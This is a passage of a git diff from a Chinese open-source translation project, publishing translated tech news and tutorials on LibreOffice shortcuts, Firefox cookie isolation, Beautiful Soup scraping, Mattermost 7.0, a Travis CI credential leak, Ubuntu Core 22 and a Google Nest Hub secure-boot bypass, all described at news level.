的一个更大项目的其中一部分,该研究着眼于如何建立开源社区并且其工作更具可持续性。毕竟,支撑现代技术的数字基础设施、道路和桥梁都是开源软件。如果维护不当,这些基础设施可能会崩溃。 +此次“推特对提高开源项目的受欢迎程度和吸引新贡献者的影响”的研究,其实是 “Vasilescu 数据挖掘与社会技术研究实验室”(STRUDEL)的一个更大项目的其中一部分,该研究着眼于如何建立开源社区并且其工作更具可持续性。毕竟,支撑现代技术的数字基础设施、道路和桥梁都是开源软件。如果维护不当,这些基础设施可能会崩溃。 -研究人员检查了 44544 条推文,其中包含指向 2370 个开源 GitHub 存储库的链接,以证明这些推文确实吸引了新的 star 和项目贡献者。在这项研究中,研究人员使用了一种科学的方法:将 Twitter 上提及的 GitHub 项目的 star 和贡献者的增加,与 Twitter 上未提及的一组项目进行了比较。该研究还描述了高影响力推文的特征、可能被帖子吸引到项目的人的类型,以及这些人与通过其他方式吸引的贡献者有何不同。来自项目支持者而不是开发者的推文最能吸引注意力。请求针对特定任务或项目提供帮助的帖子会收到更高的回复率。推文往往会吸引新的贡献者,**他们是 GitHub 的新手,但不是经验不足的程序员**。还有,**新的关注可能不会带来新的帮助**。 +研究人员检查了 44544 条推文,其中包含指向 2370 个开源 GitHub 存储库的链接,以证明这些推文确实吸引了新的星标和项目贡献者。在这项研究中,研究人员使用了一种科学的方法:将推特上提及的 GitHub 项目的星标和贡献者的增加,与推特上未提及的一组项目进行了比较。该研究还描述了高影响力推文的特征、可能被帖子吸引到项目的人的类型,以及这些人与通过其他方式吸引的贡献者有何不同。来自项目支持者而不是开发者的推文最能吸引注意力。请求针对特定任务或项目提供帮助的帖子会收到更高的回复率。推文往往会吸引新的贡献者,**他们是 GitHub 的新手,但不是经验不足的程序员**。还有,**新的关注可能不会带来新的帮助**。 提高项目受欢迎程度也存在其缺点,研究人员讨论后认为,它的潜在缺点之一,就是注意力和行动之间的差距。**更多的关注通常会导致更多的功能请求或问题报告,但不一定有更多的开发者来解决它们**。社交媒体受欢迎程度的提高,可能会导致有更多的“巨魔”或“有毒行为”出现在项目周围。 @@ -32,7 +33,7 @@ via: https://www.opensourceforu.com/2022/06/according-to-studies-twitter-drives- 作者:[Laveesh Kocher][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md b/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md new file mode 100644 index 0000000000..eb9db93ab1 --- /dev/null +++ b/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md @@ -0,0 +1,59 @@ +[#]: subject: "How I use LibreOffice keyboard shortcuts" +[#]: via: "https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14765-1.html" + +使用 LibreOffice 键盘快捷键的小技巧 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/27/144807lc4csplt17xm6mee.jpg) + +> 键盘快捷键让我专注于我要传递的内容,而不是它的外观。 + +从我记事起,我就一直在使用文字处理软件。当文字处理器从直接格式化转向利用样式来改变文本在页面上的显示方式时,这对我的写作有很大的推动作用。 + +LibreOffice 提供了多种样式,你可以使用它们来创建各种内容。 LibreOffice 将段落样式应用于文本块,例如正文、列表和代码示例。字符样式类似,只是这些样式适用于段落内的内联词或其他短文本。使用“视图View -> 样式Styles”菜单,或使用 `F11` 键盘快捷键,调出样式选择器。 + +![Image of LibreOffice styles][2] + +使用样式可以更轻松地编写更长的文档。看看这个例子:作为咨询实践的一部分,我写了很多工作簿和培训材料。一个工作簿可能有 40 或 60 页长,具体取决于主题,并且可以包含各种内容,例如正文、表格和列表。我的一些技术培训材料可能还包括源代码示例。 + +我有一个提供给客户的标准培训集,但我也做定制的培训计划。在处理自定义程序时,我可能会先从另一个工作簿导入文本,然后从那里开始工作。根据客户的不同,我可能还会调整字体和其他样式元素以匹配客户的样式偏好。对于其他材料,我可能需要添加源代码示例。 + +要使用直接格式输入示例源代码,我需要设置字体并调整工作簿中每个代码块的边距。如果我后来决定我的工作簿应该对正文文本或源代码示例使用不同的字体,我需要返回并更改所有内容。对于包含多个代码示例的工作簿,这可能需要几个小时来查找每个源代码示例并调整字体和边距以匹配新的首选格式。 + +但是,通过使用样式,我可以更新定义一次,为正文样式使用不同的字体,并且 LibreOffice Writer 会在所有使用正文样式的地方更新我的文档。同样,我可以调整预格式化文本样式的字体和边距,LibreOffice Writer 会将这种新样式应用到每个具有预格式化文本样式的源代码示例中。这对于其他文本块也是如此,包括标题、源代码、列表以及页眉和页脚。 + +我最近有了一个好主意,更新 LibreOffice 键盘快捷键以简化我的写作过程。我重新定义了 `Ctrl + B` 设置加粗强调字符样式,`Ctrl + I` 设置强调字符样式,`Ctrl + 空格` 设置取消字符样式。这使我的写作变得更加容易,因为我不必暂停写作,这样我就可以高亮显示一些文本并选择一种新的风格。相反,我可以使用新的 `Ctrl + I` 键盘快捷键来设置字符样式,它本质上是斜体文本。之后我输入的任何内容都使用强调样式,直到我按 `Ctrl + 空格` 将字符样式重置为默认的无字符样式。 + +![Image of LibreOffice character styles][3] + +如果你想自己设置的,请使用“工具Tools -> 自定义Customize”, 然后单击“键盘Keyboard”选项卡以修改键盘快捷键。 + +![Image of LibreOffice keyboard customizations][4] + +LibreOffice 通过样式使技术写作变得更加容易。通过利用键盘快捷键,我简化了我的写作方式,让我专注于我要交付的内容,而不是它的外观。稍后我可能会更改格式,但样式保持不变。 + +*图片来源:(Jim Hall,CC BY-SA 40)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming_keyboard_coding.png +[2]: https://opensource.com/sites/default/files/2022-06/libreofficestyles.png +[3]: https://opensource.com/sites/default/files/2022-06/libreofficecharstyles.png +[4]: https://opensource.com/sites/default/files/2022-06/libreofficekeyboardcustom.png diff --git a/translated/news/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md b/published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md similarity index 56% rename from translated/news/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md rename to published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md index 476b022c25..9273ad64d6 100644 --- a/translated/news/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md +++ b/published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md @@ -3,17 +3,18 @@ [#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14723-1.html" -Mozilla 刚刚使 Firefox 成为所有用户最安全的 Web 浏览器 +Mozilla 刚刚使 Firefox 成为所有人的最安全的网页浏览器 ====== -Mozilla 终于启用了一项隐私保护功能,这可能使其成为当下最安全的网络浏览器。你怎么看? + +> Mozilla 终于启用了一项隐私保护功能,这可能使其成为当下最安全的网页浏览器。你怎么看? ![Mozilla Firefox][1] -Mozilla Firefox 是市面上最安全的开源 Web 浏览器之一。 +Mozilla Firefox 是市面上最安全的开源网页浏览器之一。 毫无疑问,你可以自由定制它来进一步增强安全性,这就是 Tor 浏览器使用 Firefox 作为其核心的原因。 @@ -21,39 +22,39 @@ Mozilla Firefox 是市面上最安全的开源 Web 浏览器之一。 现在,Mozilla 终于为**所有桌面用户**启用了一项新功能,这使其成为最安全的浏览器(或是他们声称的“最安全”)。 -本文中,我讨论的不是任何新功能,而是 Firefox 中的现有功能,即 全面的 Cookie 保护Total Cookie Protection。它是在去年与 [Firefox 86][3] 一起引入的,但默认情况下并未对所有用户启用。 +本文中,我讨论的不是任何新功能,而是 Firefox 中的现有功能,即 Cookie 全面保护Total Cookie Protection。它是在去年与 [Firefox 86][3] 一起引入的,但默认情况下并未对所有用户启用。 ### 为所有用户提供的全面的 Cookie 保护 -“全面的 Cookie 保护”正在向所有人推出,无论你使用的是 Windows、Mac 还是 Linux,它将成为默认启用的核心功能之一。 +“Cookie 全面保护”正在向所有人推出,无论你使用的是 Windows、Mac 还是 Linux,它将成为默认启用的核心功能之一。 最初,要使用该功能,你必须启用严格模式(增强跟踪保护Enhanced Tracking Protection)。但现在,你不再需要这样做了。 -**它是什么?** +#### 它是什么? -如果你好奇的话,“全面的 Cookie 保护”会隔离每个网站和它们的 cookie。其中,Cookie 是网站向你的浏览器发送的少量数据。 +如果你好奇的话,“Cookie 全面保护”会隔离每个网站和它们的 Cookie。Cookie 是网站向你的浏览器发送的少量数据。 -因此,cookie 不会在网站之间共享,从而防止了跨站点跟踪cross-site tracking。 +因此,Cookie 不会在网站之间共享,从而防止了跨站跟踪cross-site tracking。 -浏览器将为你访问的每个网站都创建单独的 cookie 罐。 +浏览器将为你访问的每个网站都创建单独的“饼干罐Cookie Jar”。(LCTT 译注:Cookie 原意是小饼干。) ![][4] Mozilla 的博文对此进行了更多解释: -> 在任何时候,网站或嵌入网站的 [第三方内容][5] 在浏览器中存储的 cookie,都将仅限于分配给该网站的 cookie 罐。其他网站无法进入不属于它们的 cookie 罐,以得到那些网站的 cookie 对你的了解。这可以让你免受侵入性广告的影响,并减少公司收集的关于你的信息量。 +> 在任何时候,网站或嵌入网站的 [第三方内容][5] 在浏览器中存储的 Cookie,都将仅限于分配给该网站的 “饼干罐”。其他网站无法进入不属于它们的“饼干罐”,以得到你存储在那些 Cookie 中的信息。这可以让你免受侵入性广告的影响,并减少公司收集的关于你的信息量。 ### 那么,这有什么大不了的吗? -即使你配备了所有的隐私跟踪保护和内容拦截器,你也不一定知道,其实还有个问题叫做“跨站点跟踪”。 +即使你配备了所有的隐私跟踪保护和内容拦截器,你也不一定知道,其实还有个问题叫做“跨站跟踪”。 -因此,通过跨站点 cookie 交互,你的许多个人活动和习惯,都可以帮助数字跟踪公司建立你的在线个人资料。 +因此,通过跨站点的 Cookie 交互,你的许多个人活动和习惯,都可以帮助数字跟踪公司建立你的在线个人资料。 但是,对于 Mozilla Firefox 来说,它在所有其他隐私措施之上,默认额外启用了该功能,这可确保你获得最私密的体验。 -并且,所有这些都不需要你调整任何东西,这应该为那些“以隐私为中心”的用户提供方便。 +并且,所有这些都不需要你调整任何东西,这应该为那些“重视隐私”的用户提供方便。 -如果你还是好奇的话,你可以查看 Mozilla 的 [官方公告][6]。 +想了解进一步信息,你可以查看 Mozilla 的 [官方公告][6]。 -------------------------------------------------------------------------------- @@ -62,7 +63,7 @@ via: https://news.itsfoss.com/mozilla-firefox-secure/ 作者:[Ankush Das][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/translated/tech/20220616 Analyze web pages with Python requests and Beautiful Soup.md b/published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md similarity index 85% rename from translated/tech/20220616 Analyze web pages with Python requests and Beautiful Soup.md rename to published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md index deb43f6bc6..1716386150 100644 --- a/translated/tech/20220616 Analyze web pages with Python requests and Beautiful Soup.md +++ b/published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md @@ -3,17 +3,16 @@ [#]: author: "Seth Kenlon https://opensource.com/users/seth" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14769-1.html" 使用 Python 的 requests 和 Beautiful Soup 来分析网页 ====== -学习这个 Python 教程,轻松提取网页的有关信息。 -![带问号的 Python 语言图标][1] +![](https://img.linux.net.cn/data/attachment/album/202206/28/132859owwf9az49k2oje2o.jpg) -图源:Opensource.com +> 学习这个 Python 教程,轻松提取网页的有关信息。 浏览网页可能占了你一天中的大部分时间。然而,你总是需要手动浏览,这很讨厌,不是吗?你必须打开浏览器,然后访问一个网站,单击按钮,移动鼠标……相当费时费力。如果能够通过代码与互联网交互,岂不是更好吗? @@ -69,7 +68,7 @@ print(SOUP.p) ### 循环 -使用 Beautiful Soup 的 `find_all` 函数,你可以创建一个 for 循环,从而遍历 `SOUP` 变量中包含的整个网页。除了 `

` 标签之外,你可能也会对其他标签感兴趣,因此最好将其构建为自定义函数,由 Python 中的 `def` 关键字(意思是 “定义”define)指定。 +使用 Beautiful Soup 的 `find_all` 函数,你可以创建一个 `for` 循环,从而遍历 `SOUP` 变量中包含的整个网页。除了 `

` 标签之外,你可能也会对其他标签感兴趣,因此最好将其构建为自定义函数,由 Python 中的 `def` 关键字(意思是 “定义”define)指定。 ``` def loopit(): @@ -77,7 +76,7 @@ def loopit():         print(TAG) ``` -你可以随意更改临时变量 `TAG` 的名字,例如 `ITEM` 或 `i` 或任何你喜欢的。每次循环运行时,`TAG` 中都会包含`find_all` 函数的搜索结果。在此代码中,它搜索的是 `

` 标签。 +你可以随意更改临时变量 `TAG` 的名字,例如 `ITEM` 或 `i` 或任何你喜欢的。每次循环运行时,`TAG` 中都会包含 `find_all` 函数的搜索结果。在此代码中,它搜索的是 `

` 标签。 函数不会自动执行,除非你显式地调用它。你可以在代码的末尾调用这个函数: @@ -92,7 +91,7 @@ if __name__ == '__main__': ### 只获取内容 -你可以通过指定只需要 “字符串”string(它是 “单词”words 的编程术语)来排除打印标签。 +你可以通过指定只需要 “字符串string”(它是 “单词words” 的编程术语)来排除打印标签。 ``` def loopit(): @@ -125,8 +124,8 @@ def loopit(): 你可以使用 Beautiful Soup 和 Python 提取更多信息。以下是有关如何改进你的应用程序的一些想法: * [接受输入][3],这样你就可以在启动应用程序时,指定要下载和分析的 URL。 -* 统计页面上图片( 标签)的数量。 -* 统计另一个标签中的图片( 标签)的数量(例如,仅出现在 `

` div 中的图片,或仅出现在 `

` 标签之后的图片)。 +* 统计页面上图片(`` 标签)的数量。 +* 统计另一个标签中的图片(`` 标签)的数量(例如,仅出现在 `
` div 中的图片,或仅出现在 `

` 标签之后的图片)。 -------------------------------------------------------------------------------- @@ -135,7 +134,7 @@ via: https://opensource.com/article/22/6/analyze-web-pages-python-requests-beaut 作者:[Seth Kenlon][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/translated/news/20220616 Mattermost Extends workflow platform with 7.0 release.md b/published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md similarity index 77% rename from translated/news/20220616 Mattermost Extends workflow platform with 7.0 release.md rename to published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md index 9544f28d66..042d200389 100644 --- a/translated/news/20220616 Mattermost Extends workflow platform with 7.0 release.md +++ b/published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md @@ -3,12 +3,13 @@ [#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14738-1.html" Mattermost 7.0 发布,扩展了工作流平台 ====== + ![Mattermost][1] 自 2016 年开源以来,Mattermost 一直在开发一个具有不断增加的用例的消息传递平台。6 月 16 日,Mattermost 7.0 平台发布,其中包括了新的语音呼叫、工作流模板和用于开源技术的应用框架。新版本扩展了 2021 年 10 月发布的 6.0 版本引入的功能。一直以来,Mattermost 都在与包括 Slack、Atlassian 和 Asana 在内的几家大公司,竞争不断增长的协作工具市场。另一方面,Mattermost 侧重于对开发者的支持,尽管该平台也可用于安全和 IT 运营。 @@ -17,11 +18,11 @@ Mattermost 的软件同时提供有商业版和开源版,目前它们都升级 Tien 认为开源也关乎社区贡献。Mattermost 开源项目有超过 4000 名个人贡献者,他们贡献了超过 30000 行代码。 -以前,Mattermost 依赖集成第三方呼叫服务(例如 Zoom)来启用语音呼叫功能。在 7.0 版本中,它通过开源 WebRTC 协议引入了呼叫功能的直接集成,所有现代 Web 浏览器都支持该协议。直接集成呼叫功能的目标是为写作提供单一平台,这符合 Tien 对该平台的总体愿景。现在,除了提供集成工具以实现协作之外,该平台还会增加“工作流模板”功能,以帮助(用户)组织构建可重复的流程。 +以前,Mattermost 依赖集成第三方呼叫服务(例如 Zoom)来启用语音呼叫功能。在 7.0 版本中,它通过开源 WebRTC 协议引入了呼叫功能的直接集成,所有现代 Web 浏览器都支持该协议。直接集成呼叫功能的目标是为协作提供单一平台,这符合 Tien 对该平台的总体愿景。现在,除了提供集成工具以实现协作之外,该平台还会增加“工作流模板”功能,以帮助(用户)组织构建可重复的流程。 -工作流概念采用了 剧本playbooks,其中包含了为“特定类型的操作”所执行的动作和操作的清单。例如,在发生服务故障或网络安全事件时,公司可以为事件响应创建工作流模板。 +工作流概念采用了 剧本playbook,其中包含了为“特定类型的操作”所执行的动作和操作的清单。例如,在发生服务故障或网络安全事件时,公司可以为事件响应创建工作流模板。 -这个清单可以链接到 Mattermost 操作,例如让特定用户发起呼叫,并协助生成报告。Tien 表示,Mattermost 还与常见的开发者工具集成,并且工作流模板的功能将随着时间的推移而扩展,以便使用第三方工具来实现更多自动化。 +这个清单可以链接到 Mattermost 操作operation,例如让特定用户发起呼叫,并协助生成报告。Tien 表示,Mattermost 还与常见的开发者工具集成,并且工作流模板的功能将随着时间的推移而扩展,以便使用第三方工具来实现更多自动化。 -------------------------------------------------------------------------------- @@ -30,7 +31,7 @@ via: https://www.opensourceforu.com/2022/06/mattermost-extends-workflow-platform 作者:[Laveesh Kocher][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/translated/news/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md b/published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md similarity index 79% rename from translated/news/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md rename to published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md index 607aa17ec8..396d198271 100644 --- a/translated/news/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md +++ b/published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md @@ -3,13 +3,14 @@ [#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14724-1.html" Travis CI 漏洞暴露了敏感的开源项目凭证 ====== -![Travis CI][1] + +![Travis CI](https://img.linux.net.cn/data/attachment/album/202206/18/095734heuo8nc7g7n0ibtd.jpg) Travis CI 持续集成工具中的一个缺陷暴露了来自数千个在线开源项目的敏感数据。这并不是该软件第一次遇到此类安全问题。 @@ -17,9 +18,9 @@ Travis CI 是一个持续集成工具,它帮助软件开发者实现自动化 攻击者可以从这些明文存储的日志中,提取出用于登录 GitHub、Docker Hub 和 AWS 等云服务的用户身份验证令牌。研究人员在 800 万份日志样本中,发现了 70000 多个敏感令牌和其他机密凭证。Aqua 团队认为“所有 Travis CI 免费用户都有可能暴露”。根据 2019 年的数据,Travis CI 被超过 60 万名独立用户,用于超过 932977 个开源项目。 -这种对高级用户凭证的访问,会给使用该产品的软件开发者及其客户带来风险。“趋势科技”英国和爱尔兰安全技术总监 Bharat Mistry 解释道:“如果攻击者获得了这些凭据,就没有什么能阻止他们将恶意代码引入库或构建过程。这个缺陷无疑会导致数字供应链攻击。” +这种对高级用户凭证的访问,会给使用该产品的软件开发者及其客户带来风险。趋势科技英国和爱尔兰安全技术总监 Bharat Mistry 解释道:“如果攻击者获得了这些凭据,就没有什么能阻止他们将恶意代码引入库或构建过程。这个缺陷无疑会导致数字供应链攻击。” -供应链攻击可能极具破坏性。2020 年的 太阳风Solar Winds 攻击,使国家资助的俄罗斯黑客能够访问数千家企业和政府组织的系统。2021 年的 Kaseya 供应链攻击,使犯罪分子可以同时加密 1500 多家公司的数据,将他们全部扣为人质。 +供应链攻击可能极具破坏性。2020 年的 太阳风Solar Winds 攻击,使国家资助的俄罗斯黑客能够访问数千家企业和政府组织的系统。2021 年的 Kaseya 供应链攻击,使犯罪分子可以同时加密 1500 多家公司的数据,将它们全部扣为人质。 -------------------------------------------------------------------------------- @@ -28,7 +29,7 @@ via: https://www.opensourceforu.com/2022/06/the-travis-ci-vulnerability-exposes- 作者:[Laveesh Kocher][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/translated/news/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md b/published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md similarity index 84% rename from translated/news/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md rename to published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md index 22c6d65cd1..8d55013527 100644 --- a/translated/news/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md +++ b/published/202206/20220616 Ubuntu Core 22 is Here for IoT and Edge Devices.md @@ -3,13 +3,14 @@ [#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14730-1.html" Ubuntu Core 22 来了,适用于物联网和边缘设备 ====== -Ubuntu Core 22 基于 Ubuntu 22.04 LTS,为物联网和嵌入式设备带来了最佳的安全性和性能。 + +> Ubuntu Core 22 基于 Ubuntu 22.04 LTS,为物联网和嵌入式设备带来了最佳的安全性和性能。 ![Ubuntu][1] @@ -19,7 +20,7 @@ Ubuntu Core 22 是一个容器化的 Ubuntu 22.04 LTS 变体,针对嵌入式 在发布 Ubuntu Core 22 时,Canonical 的 CEO **Mark Shuttleworth** 说: -> “Canonical 的目标是在任何地方提供安全、可靠的开源技术,从开发环境到云,再到边缘和设备。” +> “Canonical 的目标是在从开发环境到云、再到边缘和设备的任何地方提供安全、可靠的开源技术。” ### Ubuntu Core 22 更新介绍 @@ -31,11 +32,11 @@ Ubuntu Core 22 版本带来了针对安全性和可靠性的改进。其中包 正如公告中提到的,Ubuntu 22.04 LTS 提供了一个实时内核(测试版可用),它能为那些时间敏感的工业、汽车和机器人用例,提供高性能、超低延迟和工作负载可预测性。 -此外,如果你有 Ubuntu 认证的硬件,你还能充分利用高级的实时功能。 +此外,如果你有 Ubuntu 认证的硬件,你还能充分利用先进的实时功能。 #### Snapcraft 框架 -整个 Ubuntu 映像分解为许多个包(快照),使得内核、操作系统和应用程序隔离在一个沙箱中。 +整个 Ubuntu 镜像分解为许多个包(Snap),使得内核、操作系统和应用程序隔离在一个沙箱中。 这可以让你轻松地安装应用程序,而无需担心来自专用 物联网应用商店IoT App Store 的依赖。对于企业而言,通过软件商店进行的软件管理解决方案,应该能够带来一系列内部部署的机会。 @@ -64,7 +65,7 @@ via: https://news.itsfoss.com/ubuntu-core-22-release/ 作者:[Ankush Das][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md b/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md new file mode 100644 index 0000000000..922e3169ab --- /dev/null +++ b/published/202206/20220617 Ubuntu Runs on a Google Nest Hub, Wait, What-.md @@ -0,0 +1,89 @@ +[#]: subject: "Ubuntu Runs on a Google Nest Hub, Wait, What?" +[#]: via: "https://news.itsfoss.com/ubuntu-google-nest/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14746-1.html" + +Ubuntu 可以运行在谷歌 Nest Hub 上了?! +====== + +> 一名安全专家成功地在谷歌 Nest Hub(第 2 代)上运行了 Ubuntu,嗯,然后呢? + +![Ubuntu Google][1] + +我刚刚看到了一个关于在谷歌 Nest Hub(第 2 代)上运行的 Ubuntu 的消息。 + +嗯,这实在是让人兴奋! + +所以,让我在这里分享更多关于它的信息吧。 + +### 破解谷歌 Nest Hub 以安装 Ubuntu + +是的,破解使得这成为可能。 + +网络安全专家 Frédéric Basse 破解了谷歌 Nest Hub(第 2 代)的安全启动,并成功运行 Ubuntu。 + +当然,谷歌 Nest Hub 并没有正式支持启动一个自定义操作系统。但是,Fred 使用了一个安全漏洞,从而成功运行了 Ubuntu。 + +虽然这很有趣,但对于始终在线的谷歌智能家居显示器来说,这也是一个严重的安全问题。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-google-nest-hacked.gif) + +正如这位安全专家在 [博客文章][2] 中所解释的,他使用了树莓派 Pico 微控制器,利用引导加载程序中的 USB 漏洞,从而破坏了安全启动链。 + +这位安全专家得出结论: + +> 因此,攻击者可以通过插入恶意 USB 设备并按下两个按钮,从而在早期启动阶段(内核执行之前)执行任意代码。 + +如果你想进行实验(适合安全研究人员),他还在 [GitHub][3] 上提供了相关代码(关于如何利用这个引导加载程序漏洞)。 + +### 让 Ubuntu 在 Google Nest 上运行 + +![][4] + +该漏洞允许攻击者启动未签名的操作系统。但是,在那之前,攻击者必须对为树莓派(64 位 ARM 版)量身定制的预装 Ubuntu 镜像进行一些修改。 + +这位安全专家还提到了以下内容: + +> 我们构建了一个自定义 U-Boot 引导加载程序,禁用了安全引导,并更改了引导流程以从 USB 闪存驱动器加载环境。我们还为 elaine 构建了一个自定义 Linux 内核,其中包括包括了一些 [额外驱动,例如 USB 鼠标][5] 。重新打包了来自 Ubuntu 的初始 ramdisk(initrd),以集成触摸屏所需的固件二进制文件。引导镜像是基于自定义 Linux 内核和修改的 initrd 创建的。 + +因此,很明显,你不会获得完整的 Ubuntu 体验,但由于该漏洞,我们现在知道,如果你愿意破解 谷歌 Nest 进行测试的话(真心不建议!),Ubuntu 是可以在谷歌 Nest 上作运行的。 + +### 智能家居安全担忧 + Linux + +网络安全专家指出,该漏洞已在上游(两次)修复。 + +但是,研究人员也指出,缺乏分配的 CVE 编号可能会导致修复程序无法向下游传播。 + +毫无疑问,看到有人在不受支持的设备上运行 Linux 真是太棒了。这让我思考,我们是否应该也制造一些 **由 Linux 驱动的商业智能家居设备?** + +*或者说,已经有类似的东西了吗?* + +然而,智能家居设备容易受到简单攻击,也同样令人担忧。 + +你怎么看?在下面的评论中分享你的想法吧。 + +**本文最初发布于** [Liliputing][6] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-google-nest/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/hacker-installs-ubuntu-on-google-nest-hub.jpg +[2]: https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html +[3]: https://github.com/frederic/chipicopwn +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-google-nest.jpg +[5]: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 +[6]: https://liliputing.com/2022/06/hacker-installs-ubuntu-on-a-google-nest-hub-2nd-gen-smart-display.html diff --git a/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md b/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md new file mode 100644 index 0000000000..46b8ad5ca9 --- /dev/null +++ b/published/202206/20220620 Compress Images in Linux Easily With Curtail GUI App.md @@ -0,0 +1,108 @@ +[#]: subject: "Compress Images in Linux Easily With Curtail GUI App" +[#]: via: "https://itsfoss.com/curtail-image-compress/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: 